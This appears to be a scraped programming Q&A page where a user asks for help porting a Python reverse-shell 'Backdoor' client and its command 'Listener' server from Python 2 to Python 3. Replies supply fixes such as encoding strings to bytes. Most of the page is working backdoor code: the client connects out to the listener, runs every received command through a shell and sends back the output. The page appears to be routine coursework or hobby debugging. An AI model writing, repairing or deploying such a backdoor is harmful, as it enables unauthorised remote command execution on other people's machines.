Home > Blockchain >  i have some problems with this python code
i have some problems with this python code

Time:09-24

I'm trying to convert python code from python 2 to 3 this code is a server & client how can I fix the result of this code? this is the server below :

    #!/usr/bin/env python
    import socket

    class Listener:
        def __init__(self, ip, port):
            listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            listener.bind((ip, port))
            listener.listen(0)
            print("[ ] waiting for incoming connection")
            self.connection, address = listener.accept()
            print("[ ] Got a connection from"   str(address))

        def execute_remotely(self, command):
            self.connection.send(command)
            return self.connection.recv(1024)

        def run(self):
            while True:
                command = input(">> ")
                result = self.execute_remotely(command)
                print(result)


        
    my_listener = Listener("192.168.1", 2323)
    my_listener.run()

and this is the client below

#!/usr/bin/env python

import socket
import subprocess

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.connection.recv(1024)
            command_result = self.execute_system_command(command)
            self.connection.send(command_result)
        connection.close()

my_backdoor = Backdoor("192.168.1", 2323)
my_backdoor.run()        

this is the result of the server below:

enter image description here

& the result of client below

enter image description here

CodePudding user response:

You need to convert str to bytes (for example use encode).

For the second error you need to change

def execute_system_command(command):

to

def execute_system_command(self, command):

CodePudding user response:

i still have problems

#!/usr/bin/env python
import socket

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[ ] waiting for incoming connection")
        self.connection, address = listener.accept()
        print("[ ] Got a connection from"   str(address))

    def execute_remotely(self, command):
        self.connection.send(command)
        return self.connection.recv(1024)

    def run(self):
        while True:
            command = input(">> ")
            result = self.execute_remotely(command.encode())
            print(result)


    
my_listener = Listener("192.168.1.14", 4444)
my_listener.run()

#!/usr/bin/env python

import socket
import subprocess

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.connection.recv(1024)
            command_result = self.execute_system_command(command)
            self.connection.send(command_result)
        connection.close()

my_backdoor = Backdoor("192.168.1.14", 4444)
my_backdoor.run()  

  

enter image description here

enter image description here

  • Related